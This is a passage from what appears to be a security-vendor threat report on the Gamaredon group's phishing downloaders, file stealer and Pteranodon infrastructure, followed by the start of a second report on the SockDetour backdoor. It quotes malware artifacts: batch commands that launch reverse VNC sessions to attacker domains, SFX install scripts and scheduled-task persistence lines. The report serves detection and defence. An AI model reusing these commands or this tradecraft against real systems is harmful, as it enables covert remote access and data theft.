leading some to speculate that an invasion may come next. On Jan. 14, 2022, this conflict spilled over into the cyber domain as the Ukrainian government was targeted with destructive malware (WhisperGate) and a separate vulnerability in OctoberCMS was exploited to deface several Ukrainian government websites. While attribution of those events is ongoing and there is no known link to Gamaredon (aka Primitive Bear), one of the most active existing advanced persistent threats targeting Ukraine, we anticipate we will see additional malicious cyber activities over the coming weeks as the conflict evolves. We have also observed recent activity from Gamaredon. In light of this, this blog provides an update on the Gamaredon group. Since 2013, just prior to Russia s annexation of the Crimean peninsula, the Gamaredon group has primarily focused its cyber campaigns against Ukrainian government officials and organizations. In 2017, Unit 42 published its first research documenting Gamaredon evolving toolkit and naming the group, and over the years, several researchers have noted that the operations and targeting activities of this group align with Russian interests. This link was recently substantiated on Nov. 4, 2021, when the Security Service of Ukraine (SSU) publicly attributed the leadership of the group to five Russian Federal Security Service (FSB) officers assigned to posts in Crimea. Concurrently, the SSU also released an updated technical report documenting the tools and tradecraft employed by this group. Given the current geopolitical situation and the specific target focus of this APT group, Unit 42 continues to actively monitor for indicators of their operations. In doing so, we have mapped out three large clusters of their infrastructure used to support different phishing and malware purposes. These clusters link to over 700 malicious domains, 215 IP addresses and over 100 samples of malware. 1/16 Monitoring these clusters, we observed an attempt to compromise a Western government entity in Ukraine on Jan. 19, 2022. We have also identified potential malware testing activity and reuse of historical techniques involving open-source virtual network computing (VNC) software. The sections below offer an overview of our findings in order to aid targeted entities in Ukraine as well as cybersecurity organizations in defending against this threat group. Update Feb. 16: When we originally published this report, we noted, While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more that remains undiscovered. We have since discovered hundreds more Gamaredonrelated domains, including known related-clusters, and also new clusters. We have updated our Indicators of Compromise (IoCs) to include these additional domains and cluster observations. Full visualization of the techniques observed, relevant courses of action and IoCs related to this Gamaredon report can be found in the Unit 42 ATOM viewer. Palo Alto Networks customers receive protections against the types of threats discussed in this blog by products including Cortex XDR and the WildFire, AutoFocus, Advanced URL Filtering and DNS Security subscription services for the Next-Generation Firewall. Related Unit 42 Topics Gamaredon, APTs Table of Contents Gamaredon Downloader Infrastructure (Cluster 1) -Cluster 1 History -Initial Downloaders -SFX Files and UltraVNC SSL Pivot to Additional Infrastructure and Samples File Stealer (Cluster 2) Pteranodon (Cluster 3) Conclusion -Protections and Mitigations Indicators of Compromise Additional Resources Gamaredon Downloader Infrastructure (Cluster 1) Gamaredon actors pursue an interesting approach when it comes to building and maintaining their infrastructure. Most actors choose to discard domains after their use in a cyber campaign in order to distance themselves from any possible attribution. However, Gamaredon approach is unique in that they appear to recycle their domains by consistently rotating them across new infrastructure. A prime example can be seen in the domain libre4[.]space. Evidence of its use in a Gamaredon campaign was flagged by a researcher as far back as 2019. Since then, Cisco Talos and Threatbook have also firmly attributed the domain to Gamaredon. Yet despite public attribution, the domain continues to resolve to new internet protocol (IP) addresses daily. 2/16 Figure 1. libre4[.]space recent IP resolutions as of Jan. 27, 2022. Pivoting to the first IP on the list (194.58.100[.]17) reveals a cluster of domains rotated and parked on the IP on the exact same day. 3/16 Figure 2. Domains associated with 194.58.100[.]17 on Jan. 27, 2022. Thorough pivoting through all of the domains and IP addresses results in the identification of almost 700 domains. These are domains that are already publicly attributed to Gamaredon due to use in previous cyber campaigns, mixed with new domains that have not yet been used. Drawing a delineation between the two then becomes an exercise in tracking the most recent infrastructure. Focusing on the IP addresses linked to these domains over the last 60 days results in the identification of 136 unique IP addresses; interestingly, 131 of these IP addresses are hosted within the autonomous system (AS) 197695 physically located in Russia and operated by the same entity used as the registrar for these domains, reg[.]ru. The total number of IPs translates to the introduction of roughly two new IP addresses every day into Gamaredon s malicious infrastructure pool. Monitoring this pool, it appears that the actors are activating new domains, using them for a few days, and then adding the domains to a pool of domains that are rotated across various IP infrastructure. This shell game approach affords a degree of obfuscation to attempt to hide from cybersecurity researchers. For researchers, it becomes difficult to correlate specific payloads to domains and to the IP address that the domain resolved to on the precise day of a phishing campaign. Furthermore, Gamaredon s technique provides the actors with a degree of control over who can access malicious files hosted on their infrastructure, as a web page s uniform resource locator (URL) file path embedded in a downloader only works for a finite period of time. Once the domains are rotated to a new IP address, requests for the URL file paths will result in a file not found error for anyone attempting to study the malware. Cluster 1 History While focusing on current downloader infrastructure, we were able to trace the longevity of this cluster back to an origin in 2018. Certain marker domains, such as the aforementioned libre4[.]space, are still active today and also traced back to March 2019 with apparently consistent ownership. On the same date range in March 2019, a cluster of domains was observed on 185.158.114[.]107 with thematically linked naming several of which are still active in this cluster today. 4/16 Figure 3. Domain cluster on 185.158.114[.]107 in March 2019. Further pivoting back in time and across domains finds an apparent initial domain for this cluster of infrastructure, bitsadmin[.]space on 195.88.209[.]136, in December 2018. Figure 4. Initial domain bitsadmin[.]space, December 2018. We see it clustered here with some dynamic domain name system (DNS) domains. Dynamic DNS domains were observed in this cluster on later IP addresses as well, though this technique appears to have fallen out of favor, at least in this context, since there are none in this cluster currently active. Initial Downloaders 5/16 Searching for samples connecting to Gamaredon infrastructure across public and private malware repositories resulted in the identification of 17 samples over the past three months. The majority of these files were either shared by entities in Ukraine or contained Ukrainian filenames. Filename Translation .docx Maksim.docx .docx RAZANTSEV IS SUSPICIOUS.docx .docx interrogation protocol.docx .docx TELEGRAM.docx .docx 2_Memorial_about_processal_rights_and_obligations_of_the_ Victim.docx 2_Porjadok_do_nakazu_111_vid_13.04.2017.docx 2_Procedure_to_order_111_from_13.04.2017.docx .docx conclusion Timoshechkin.docx 2021 ( ).doc Report on the LCA for June 2021 (Autosaved) .doc .docx Klitschko's conclusion.docx .docx Indictment GERMAN et al.docx 10 .doc support 1-SL 10 months.doc Table 1. Recently observed downloader filenames. An analysis of these files found that they all leveraged a remote template injection technique that allows the documents to pull down the malicious code once they are opened. This allows the attacker to have control over what content is sent back to the victim in an otherwise benign document. Recent examples of the remote template file URLs these documents use include the following: http://bigger96.allow.endanger.hokoldar[.]ru/[Redacted]/globe/endanger/lovers.cam http://classroom14.nay.sour.reapart[.]ru/[Redacted]/bid/sour/glitter.kdp http://priest.elitoras[.]ru/[Redacted]/pretend/pretend/principal.dot http://although.coferto[.]ru/[Redacted]/amazing.dot http://source68.alternate.vadilops[.]ru/[Redacted]/clamp/interdependent.cbl Many of the files hosted on the Gamaredon infrastructure are labeled with abstract extensions such as .cam, .cdl, .kdp and others. We believe this is an intentional effort by the actor to reduce exposure and detection of these files by antivirus and URL scanning services. Taking a deeper look at the top two, hokoldar[.]ru and reapart[.]ru, provides unique insights into two recent phishing campaigns. Beginning with the first domain, passive DNS data shows that the domain first resolved to an IP address that was shared with other Gamaredon domains on Jan. 4. Figure 2 above shows that hokoldar[.]ru continued to share an IP address with libre4[.]space on Jan. 27, once again associating it with the Gamaredon infrastructure pool. In that short window, on Jan. 19, we observed a targeted phishing attempt against a Western government entity operating in Ukraine. In this attempt, rather than emailing the downloader directly to their target, the actors instead leveraged a job search and employment service within Ukraine. In doing so, the actors searched for an active job posting, uploaded their downloader as a resume and submitted it through the job search platform to a Western government entity. Given the steps and precision delivery involved in this campaign, it appears this may have been a specific, deliberate attempt by Gamaredon to compromise this Western government organization. Expanding beyond this recent case, we also discovered public evidence of a Gamaredon campaign targeting the State Migration Service of Ukraine. On Dec. 1, an email was sent from yana_gurina@ukr[.]net to 6524@dmsu[.]gov.ua. The subject of the email was NOVEMBER REPORT and attached to the email was a file called Report on the LCA for June 2021(Autosaved).doc. When opened, this Word document calls out to reapart[.]ru. From there, it downloads and then executes a malicious remote Word Document Template file named glitter.kdp. 6/16 Figure 5. Email sent to 6524@dmsu[.]gov.ua. CERT Estonia (CERT-EE), a department within the Cyber Security Branch of the Estonian Information System Authority, recently published an article on Gamaredon which covers the content returned from these remote template files. To summarize their findings on this aspect, the remote template retrieves a VBS script to execute which establishes a persistent command and control (C2) check-in and will retrieve the next payload once the Gamaredon group is ready for the next phase. In CERT-EE s case, after six hours the infrastructure came back to life again and downloaded a SelF-eXtracting (SFX) archive. This download of an SFX archive is a hallmark of the Gamaredon group and has been an observed technique for many years to deliver various open-source virtual network computing (VNC) software packages that the group uses for maintaining remote access to victim computers. The group s current preference appears to be open-source UltraVNC software. SFX Files and UltraVNC SFX files allow someone to package other files in an archive and then specify what will happen when a user opens the package. In the case of Gamaredon, they generally keep it simple and bundle together a package containing a simple Batch script and UltraVNC software. This lightweight VNC server can be preconfigured to initiate a connection back to another system, commonly referred to as a reverse tunnel, allowing attackers to bypass the typical firewall restrictions; these reverse connections seemingly are not initiated by the attacker but instead come from inside the network where the victim exists. To illustrate how this occurs, we will step through one of the SFX files (SHA256: 4e9c8ef5e6391a9b4a705803dc8f2daaa72e3a448abd00fad36d34fe36f53887) that we recently identified. When building an SFX file one has the option to specify a series of commands that will be executed upon successful extraction of the archive. In the case of Gamaredon, the majority of SFX files will launch a batch file, which is included in the archive. In some instances, the actor will shuffle files around within the archive to try to obfuscate what they are, but usually a command line switch can be found, similar to this: ;!@Install@!UTF-8! InstallPath="%APPDATA%\\Drivers" GUIMode="2" SelfDelete="1" RunProgram="hidcon:34679.cmd" This will extract the files to %APPDATA%\\Drivers and then run the Windows Batch file 34679.cmd in a hidden console. The use of the hidcon (hidden console) prefix followed by a four-five digit filename with a cmd extension is observed in the majority of our tracked samples during this time period. The following files were included in this particular archive: SHA256 Filename 695fabf0d0f0750b3d53de361383038030752d07b5fc8d1ba6eb8b3e1e7964fa 34679.cmd d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385 MSRC4Plugin_for_sc.dsm 393475dc090afab9a9ddf04738787199813f3974a22c13cb26f43c781e7b632f QlpxpQpOpDpnpRpC.ini ed13f0195c0cf8fc9905c89915f5b6f704140b36309c2337be86d87a8f5fef6c UltraVNC.ini 304d63fcd859ea71833cf13b8923f74ebe24abf750de9d01b7849b907f24d33b YiIbIbIqIZIiIBI2.jpg 1f1650155bfe9a4eb6b69365fc8a791281f866919202d44646e23e7f2f1d3db9 kqT5TMTETyTJT4TG.jpg 7/16 27285cb2b5bebd5730772b66b33568154cd4228c92913c5ef2e1234747027aa5 owxxxGxzxqxxxExw.jpg 3225058afbdf79b87d39a3be884291d7ba4ed6ec93d1c2010399e11962106d5b rc4.key Table 2. Files included in the example SFX Archive. The batch files use randomized alphanumeric strings for the variable names, and depending on the sample collect different information or use different domains and filenames; however, at the core they each perform one specific function initiate the reverse VNC connection. The purpose of this file is to obscure and execute the desired command: start "" "%CD%\sysctl.exe" -autoreconnect -id: [system media access control (MAC) address] -connect technec[.]org:8080 Figure 6: Content of 34679.cmd from above example. In this case, the attacker sets the variable nRwuwCwBwYwbwEwI twice, which we believe is likely due to copy-pasting from previous scripts (we ll cover this in more detail later). This variable, along with the next few, will identify the process name the malware will masquerade under, an identifier with which to track the victim, the remote attacker s domain to which the connection should be made, the word connect, which is dropped into the VNC command, and then the port, 8080, which the VNC connection will use. At every turn, the actor tries to blend into normal user traffic to remain under the radar for as long as possible. After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized per archive, but almost always turns out to be that of the VNC server itself. As stated previously, one benefit of this VNC server is that it will use the supplied configuration file (UltraVNC.ini), and along with the two files rc4.key and MSRC4Plugin_for_sc.dsm will encrypt the communication to further hide from network detection tools. s not yet clear what the three .jpg files shown in Table 2 are used for as they are base64-encoded data that is likely XOR encoded with a long key. Gamaredon has used this technique in the past, but these are likely staged files for the attacker to decode once they connect to the system. The following are the SFX launch parameters from a separate file to illustrate how the actor attempts to obfuscate the file names but also that these potentially staged files are not present in all samples. InstallPath="%USERPROFILE%\\Contacts" GUIMode="2" SelfDelete="1" RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\18820.tmp %USERPROFILE%\Contacts\MSRC4Plugin_for_sc.dsm" RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25028.tmp %USERPROFILE%\Contacts\rc4.key" 8/16 RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\24318.tmp %USERPROFILE%\Contacts\UltraVNC.ini" RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25111.tmp %USERPROFILE%\Contacts\wn.cmd" RunProgram="hidcon:%USERPROFILE%\\Contacts\\wn.cmd" While investigating these files, we observed what we believe was active development on these .cmd files that helps illuminate the Gamaredon group s processes. Specifically, on Jan. 14 starting at 01:23 am GMT, we began seeing VirusTotal uploads of a seemingly in-draft .cmd file pointing to the same attacker-controlled VNC server. Initially, these files were uploaded to VirusTotal via the Tor network and used the process name svchosst over transmission control protocol (TCP)/8080, leveraging the user s Windows security identifier (SID) instead of MAC address for the VNC identification. The SFX files simply had the name 1.exe. @for /f %%i in ('wmic useraccount where name^='%USERNAME%' get sid ^| find "S-1"') do set JsVqVzVxVfVqVaVs=%%i set ZGVxVkVIVUVlVgVb=technec[.]org set qgSjSdSaSsSiSGS3=svchosst set AVlflclclZlPlYlI=8080 set djM8MfMRM0M5MBM0=connect Three minutes later, we saw the same file uploaded via Tor, but the actor had changed the port to TCP/80 and introduced a bug in the code that prevents it from executing correctly. Note the positional change of the variables as well. set djM8MfMRM0M5MBM0=onnect set r8JgJJJHJGJmJHJ5=%RANDOM% set ZGVxVkVIVUVlVgVb=technec[.]org set qgSjSdSaSsSiSGS3=svchosst set AVlflclclZlPlYlI=80 The bug is due to the onnect value that is set. Reviewing how the reverse VNC connection is launched, this value is used in two places: autorec%djM8MfMRM0M5MBM0% and -%djM8MfMRM0M5MBM0%. start "1" "%CD%\%qgSjSdSaSsSiSGS3%.exe" -autorec%djM8MfMRM0M5MBM0% -id:%r8JgJJJHJGJmJHJ5% -%djM8MfMRM0M5MBM0% %ZGVxVkVIVUVlVgVb%:80%AVlflclclZlPlYlI% The second instance doesn t contain the c value needed to correctly spell the word and thus presents an invalid parameter. After another three minutes, the actor uploaded an SFX file called 2.exe, simply containing test.cmd with the word test in the content. Again, minutes later, we saw 2.exe uploaded with the test.cmd, but this time it contained the initial part of the .cmd file. However, the actor had forgotten to include the VNC connect string. This is where it gets interesting, though about 15 minutes later, we saw the familiar 2.exe upload with test.cmd, but this time it was being uploaded directly by a user in Russia from a public IP address. We continued to observe this pattern of uploads every few minutes, where each was a slight iteration of the one before. The person uploading the files appeared to be rapidly and manually modifying the .cmd file to restore functionality (though the actor was unsuccessful in this series of uploads). Several domains and IP addresses were hard-coded in VNC samples that are not related to any of domain clusters 1-3 (documented in our full IoC list). SSL Pivot to Additional Infrastructure and Samples While conducting historical research on the infrastructure in cluster 1, we discovered a self-signed certificate associated with cluster 1 IP address 92.242.62[.]96: Serial: 373890427866944398020500009522040110750114845760 SHA1: 62478d7653e3f5ce79effaf7e69c9cf3c28edf0c Issued: 2021-01-27 Expires: 2031-01-25 Common name: ip45-159-200-109.crelcom[.]ru Although the IP Address WHOIS record for Crelcom LLC is registered to an address in Moscow, the technical admin listed for the netblock containing the IP address is registered to an address in Simferopol, Crimea. We further trace the apparent origins of Crelcom back to Simferopol, Crimea, as well. This certificate relates to 79 IP addresses: 9/16 The common-name IP address - no Gamaredon domains One IP address links to cluster 1 above (92.242.62[.]96) 76 IP addresses link to another distinct collection of domains cluster 2 1 IP address led us to another distinct cluster, cluster 3 (194.67.116[.]67) We find almost no overlap of IP addresses between these separate clusters. File Stealer (Cluster 2) Of the 76 IP addresses we associate with cluster 2, 70 of them have confirmed links to C2 domains associated with a variant of Gamaredon s file stealer tool. Within the last three months, we have identified 23 samples of this malware, twelve of which appear to have been shared by entities in Ukraine. The C2 domains in those samples include: Domain First Seen jolotras[.]ru 12/16/2021 moolin[.]ru 10/11/2021 naniga[.]ru 9/2/2021 nonimak[.]ru 9/2/2021 bokuwai[.]ru 9/2/2021 krashand[.]ru 6/17/2021 gorigan[.]ru 5/25/2021 Table 3. Recent file stealer C2 domains. As you can see, some of these domains were established months ago, yet despite their age, they continue to enjoy benign reputations. For example, only five out of 93 vendors consider the domain krashand[.]ru to be malicious on VirusTotal. Figure 7. VirusTotal results for krashand[.]ru from Jan. 27, 2022. Reviewing passive DNS (pDNS) logs for these domains quickly reveals a long list of subdomains associated with each. Some of the subdomains follow a standardized pattern. For example, several of the domains use the first few letters of the alphabet (a, b, c) in a repeating combination. Conversely, jolotras[.]ru and moolin[.]ru use randomized alphanumeric characters. We believe that these subdomains are dynamically generated by the file stealer when it first establishes a connection with its C2 server. As such, counting the number of subdomains associated with a particular C2 domain provides a rough gauge of the number of entities that have attempted to connect to the server. However, it is important to also note that the number of pDNS entries can also be skewed by researchers and cybersecurity products that may be evaluating the malicious samples associated with a particular C2 domain. Subdomains 637753576301692900[.]jolotras.ru 637753623005957947[.]jolotras[.]ru 637755024217842817.jolotras[.]ru a.nonimak[.]ru aaaa.nonimak[.]ru aaaaa.nonimak[.]ru 10/16 aaaaaa.nonimak[.]ru 0enhzs.moolin[.]ru 0ivrlzyk.moolin[.]ru 0nxfri.moolin[.]ru Table 4. Subdomain naming for file stealer infrastructure. In mapping these domains to their corresponding C2 infrastructure, we discovered that the domains overlap in terms of the IP addresses they point to. This allowed us to identify the following active infrastructure: IP Address First Seen 194.58.92[.]102 1/14/2022 37.140.199[.]20 1/10/2022 194.67.109[.]164 12/16/2021 89.108.98[.]125 12/26/2021 185.46.10[.]143 12/15/2021 89.108.64[.]88 10/29/2021 Table 5. Recent file stealer IP infrastructure. Of note, all of the file stealer infrastructure appears to be hosted within AS197695, the same AS highlighted earlier. Historically, we have seen the C2 domains point to various autonomous systems (AS) globally. However, as of early November, it appears that the actors have consolidated all of their file stealer infrastructure within Russian ASs predominantly this single AS. In mapping the patterns involved in the use of this infrastructure, we found that the domains are rotated across IP addresses in a manner similar to the downloader infrastructure discussed previously. A malicious domain may point to one of the C2 server IP addresses today while pointing to a different address tomorrow. This adds a degree of complexity and obfuscation that makes it challenging for network defenders to identify and remove the malware from infected networks. The discovery of a C2 domain in network logs thus requires defenders to search through their network traffic for the full collection of IP addresses that the malicious domain has resolved to over time. As an example, moolin[.]ru has pointed to 11 IP addresses since early October, rotating to a new IP every few days. IP Address Country First Seen Last Seen 194.67.109[.]164 197695 2021-12-28 2022-01-27 185.46.10[.]143 197695 2021-12-16 2021-12-26 212.109.199[.]204 29182 2021-12-15 2021-12-15 80.78.241[.]253 197695 2021-11-19 2021-12-14 89.108.78[.]82 197695 2021-11-16 2021-11-18 194.180.174[.]46 39798 2021-11-15 2021-11-15 70.34.198[.]226 20473 2021-10-14 2021-10-30 104.238.189[.]186 20473 2021-10-13 2021-10-14 95.179.221[.]147 20473 2021-10-13 2021-10-13 176.118.165[.]76 43830 2021-10-12 2021-10-13 Table 6. Recent file stealer IP infrastructure Shifting focus to the malware itself, file stealer samples connect to their C2 infrastructure in a unique manner. Rather than connecting directly to a C2 domain, the malware performs a DNS lookup to convert the domain to an IP address. Once complete, it establishes an HTTPS connection directly to the IP address. For example: 11/16 C2 Domain: moolin[.]ru C2 IP Address: 194.67.109[.]164 C2 Comms: https://194.67.109[.]164/zB6OZj6F0zYfSQ This technique of creating distance between the domain and the physical C2 infrastructure seems to be an attempt to bypass URL filtering: 1. The domain itself is only used in an initial DNS request to resolve the C2 server IP address no actual connection is attempted using the domain name. 2. Identification and blocking of a domain doesn t impact existing compromises as the malware will continue to communicate directly with the C2 server using the IP address even if the domain is subsequently deleted or rotated to a new IP as long as the malware continues to run. One recent file stealer sample we analyzed (SHA256: f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824) was found to be a .NET binary that had been obfuscated to make analysis more difficult. The first thing that jumps out when reviewing these files are their sizes. This particular file clocks in at over 136 MB in size, but we observed files going all the way up to 200 MB and beyond. It is possible that this is an attempt to circumvent automated sandbox analysis, which usually avoids scanning such large files. It may also simply be a byproduct of the obfuscation tools being used. Whatever the reason for the large file size, it comes at a price to the attacker, as executables of this size stick out upon review. Transmitting a file this large to a victim becomes a much more challenging task. The obfuscation within this sample is relatively simple and mainly relies upon defining arrays and concatenating strings of single characters in high volume over hundreds of lines to try to hide the construction of the actual string within the noise. Figure 8. Building the string IconsCache.db in the text variable. It begins by checking for the existence of the Mutex Global\lCHBaUZcohRgQcOfdIFaf, which, if present, implies the malware is already running and will cause the file stealer to exit. Next, it will create the folder C:\Users\%USER%\AppData\Local\TEMP\ModeAuto\icons, wherein screenshots that are taken every minute will be stored and then transmitted to the C2 server with the name format YYYY-MMDD-HH-MM.jpg. To identify the IP address of the C2 server, the file stealer will generate a random string of alphanumeric characters between eight and 23 characters long, such as 9lGo990cNmjxzWrDykSJbV.jolotras[.]ru. As mentioned previously, once the file stealer retrieves the IP address for this domain, it will no longer use the domain name. Instead, all communications will be direct with the IP address. During execution, it will search all fixed and network drives attached to the computer for the following extensions: .doc .docx .xls .rtf 12/16 .odt .txt .jpg .pdf .ps1 When it has a list of files on the system, it begins to create a string for each that contains the path of the file, the size of the file and the last time the file was written to, similar to the example below: C:\cygwin\usr\share\doc\bzip2\manual.pdf2569055/21/2011 3:17:02 PM The file stealer takes this string and generates an MD5 hash of it, resulting in the following output for this example: FB-17-F1-34-F4-22-9B-B4-49-0F-6E-3E-45-E3-C9-FA Next, it removes the hyphens from the hash and converts all uppercase letters to lowercase. These MD5 hashes are then saved into the file C:\Users\%USER%\AppData\Local\IconsCache.db. The naming of this file is another attempt to hide in plain sight next to the legitimate IconCache.db. Figure 9. IconsCache.db contents. The malware uses this database to track unique files. The malware will then generate a URL path with alphanumeric characters for its C2 communication, using the DNS-IP technique illustrated previously with the moolin[.]ru domain example: https://194.67.109[.]164/zB6OZj6F0zYfSQ Below is the full list of domains currently resolving to cluster 2 IP addresses: Domain Registered jolotras[.]ru 12/16/2021 moolin[.]ru 10/11/2021 bokuwai[.]ru 9/2/2021 naniga[.]ru 9/2/2021 nonimak[.]ru 9/2/2021 bilargo[.]ru 7/23/2021 krashand[.]ru 6/17/2021 firtabo[.]ru 5/28/2021 13/16 gorigan[.]ru 5/25/2021 firasto[.]ru 5/21/2021 myces[.]ru 2/24/2021 teroba[.]ru 2/24/2021 bacilluse[.]ru 2/15/2021 circulas[.]ru 2/15/2021 megatos[.]ru 2/15/2021 phymateus[.]ru 2/15/2021 cerambycidae[.]ru 1/22/2021 coleopteras[.]ru 1/22/2021 danainae[.]ru 1/22/2021 Table 7. All cluster 2 domains. Pteranodon (Cluster 3) The single remaining IP address related to the SSL certificate was not related to either cluster 1 or cluster 2, and instead led us to a third, distinct cluster of domains. This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. Gamaredon has used, maintained and updated development of this code for years. Its code contains anti-detection functions specifically designed to identify sandbox environments in order to thwart antivirus detection attempts. It is capable of downloading and executing files, capturing screenshots and executing arbitrary commands on compromised systems. Over the last three months, we have identified 33 samples of Pteranodon. These samples are commonly named 7ZSfxMod_x86.exe. Pivoting across this cluster, we identified the following C2 infrastructure: Domain Registered takak[.]ru 9/18/2021 rimien[.]ru 9/18/2021 maizuko[.]ru 9/2/2021 iruto[.]ru 9/2/2021 gloritapa[.]ru 8/5/2021 gortisir[.]ru 8/5/2021 gortomalo[.]ru 8/5/2021 langosta[.]ru 6/25/2021 malgaloda[.]ru 6/8/2021 Table 8. Cluster 3 domains. We again observe domain reputation aging, as seen in cluster 2. An interesting naming pattern is seen in cluster 3 also seen in some cluster 1 host and subdomain names. We see these actors using English words, seemingly grouped by the first two or three letters. For example: deep-rooted.gloritapa[.]ru deep-sinking.gloritapa[.]ru deepwaterman.gloritapa[.]ru deepnesses.gloritapa[.]ru deep-lunged.gloritapa[.]ru deerfood.gortomalo[.]ru deerbrook.gortomalo[.]ru 14/16 despite.gortisir[.]ru des.gortisir[.]ru desire.gortisir[.]ru This pattern differs from those of cluster 2, but has been observed on some cluster 1 (dropper) domains, for example: alley81.salts.kolorato[.]ru allied.striman[.]ru allowance.hazari[.]ru allowance.telefar[.]ru ally.midiatr[.]ru allocate54.previously.bilorotka[.]ru alluded6.perfect.bilorotka[.]ru already67.perfection.zanulor[.]ru already8.perfection.zanulor[.]ru This pattern is even carried into HTTP POSTs, files and directories created by associated samples: Example 1: SHA256: 74cb6c1c644972298471bff286c310e48f6b35c88b5908dbddfa163c85debdee deerflys.gortomalo[.]ru C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 11 /tn "deepmost" /tr "wscript.exe "C:\Users\Public\\deepnaked\deepmost.fly" counteract /create //b /criminal //e:VBScript /cracker counteract " /F POST /index.eef/deep-water613 Example 2: SHA256: ffb6d57d789d418ff1beb56111cc167276402a0059872236fa4d46bdfe1c0a13 deer-neck.gortomalo[.]ru "C:\Windows\System32\schtasks.exe" /CREATE /sc minute /mo 13 /tn "deep-worn" /tr "wscript.exe "C:\Users\Public\\deerberry\deepworn.tmp" crumb /cupboard //b /cripple //e:VBScript /curse crumb " /F POST /cache.jar/deerkill523 Because we only see this with some domains, this may be a technique employed by a small group of actors or teams. It suggests a possible link between the cluster 3 samples and those from cluster 1 employing a similar naming system. In contrast, we do not observe cluster 2 large-number or random-string naming technique employed in any cluster 1 domains. Conclusion Gamaredon has been targeting Ukrainian victims for almost a decade. As international tensions surrounding Ukraine remain unresolved, Gamaredon s operations are likely to continue to focus on Russian interests in the region. This blog serves to highlight the importance of research into adversary infrastructure and malware, as well as community collaboration, in order to detect and defend against nationstate cyberthreats. While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more that remains undiscovered. Unit 42 remains vigilant in monitoring the evolving situation in Ukraine and continues to actively hunt for indicators to put protections in place to defend our customers anywhere in the world. We encourage all organizations to leverage this research to hunt for and defend against this threat. Protections and Mitigations The best defense against this evolving threat group is a security posture that favors prevention. We recommend that organizations implement the following: Search network and endpoint logs for any evidence of the indicators of compromise associated with this threat group. Ensure cybersecurity solutions are effectively blocking against the active infrastructure IoCs identified above. Implement a DNS security solution in order to detect and mitigate DNS requests for known C2 infrastructure. Apply additional scrutiny to all network traffic communicating with AS 197695 (Reg[.]ru). If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200. 15/16 For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign: Cortex XDR protects endpoints from the malware techniques described in this blog. WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious. Advanced URL Filtering and DNS Security identify all phishing and malware domains associated with this group as malicious. Users of AutoFocus contextual threat intelligence service can view malware associated with these attacks using the Gamaredon Group tag. Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Indicators of Compromise A list of the domains, IP addresses and malware hashes is available on the Unit 42 GitHub. Additional IoCs shared in a Feb. 16 update to this report are also available. Additional Resources The Gamaredon Group Toolset Evolution Unit 42, Palo Alto Networks Threat Brief: Ongoing Russia and Ukraine Cyber Conflict Unit 42, Palo Alto Networks Technical Report on Armageddon / Gamaredon Security Service of Ukraine Tale of Gamaredon Infection CERT-EE / Estonian Information System Authority Updated Feb. 16, 2021, at 6:30 a.m. PT. Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us 16/16 SockDetour a Silent, Fileless, Socketless Backdoor Targets U.S. Defense Contractors unit42.paloaltonetworks.com/sockdetour February 24, 2022 By Unit 42 February 24, 2022 at 6:00 AM Category: Malware Tags: APT, backdoor, CVE-2021-28799, CVE-2021-40539, CVE-2021-44077, TiltedTemple, Windows This post is also available in: (Japanese) Executive Summary Unit 42 has been tracking an APT campaign we name TiltedTemple, which we first identified in connection with its use of the Zoho ManageEngine ADSelfService Plus vulnerability CVE-2021-40539 and ServiceDesk Plus vulnerability CVE-2021-44077. The threat actors involved use a variety of techniques to gain access to and persistence in compromised systems and have successfully compromised more than a dozen organizations across the technology, energy, healthcare, education, finance and defense industries. In conducting further analysis of this campaign, we identified another sophisticated tool being used to maintain persistence, which we call SockDetour. A custom backdoor, SockDetour is designed to serve as a backup backdoor in case the primary one is removed. It is difficult to detect, since it operates filelessly and socketlessly on compromised Windows servers. One of the command and control (C2) infrastructures that the threat actor used for malware distribution for the TiltedTemple campaign hosted SockDetour along with other miscellaneous tools such as a memory dumping tool and several webshells. We are tracking SockDetour as one campaign within TiltedTemple, but cannot yet say definitively whether the activities stem from a single or multiple threat actors. Based on Unit 42 s telemetry data and the analysis of the collected samples, we believe the threat actor behind SockDetour has been focused on targeting U.S.-based defense contractors using the tools. Unit 42 has evidence of at least four defense contractors being targeted by this campaign, with a compromise of at least one contractor. Unit 42 also believes it is possible that SockDetour has been in the wild since at least July 2019. We did not find any additional SockDetour samples on public repositories, meaning that the backdoor successfully stayed under the radar for a long time. Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer. Palo Alto Networks customers are protected from the threats described in this blog by Cortex XDR and WildFire, and can use AutoFocus for tracking related entities. Additionally, the YARA rule we attached at the end of this blog post can be used to detect SockDetour in memory. Vulnerabilities Discussed CVE-2021-40539, CVE-2021-44077, CVE-2021-28799 Operating System Affected Windows Related Unit 42 Topics TiltedTemple, APT, backdoors Table of Contents Background on the TiltedTemple Campaign SockDetour Targets US Defense Industry SockDetour Hosted by Compromised Home and SOHO NAS Server Analysis of SockDetour Client Authentication and C2 Communication Plugin Loading Feature Conclusion Protections and Mitigations Indicators of Compromise Background on the TiltedTemple Campaign TiltedTemple is the name Unit 42 gives to a campaign being conducted by an advanced persistent threat (APT) or APTs, leveraging a variety of initial access vectors, to compromise a diverse set of targets globally. Our initial publications on 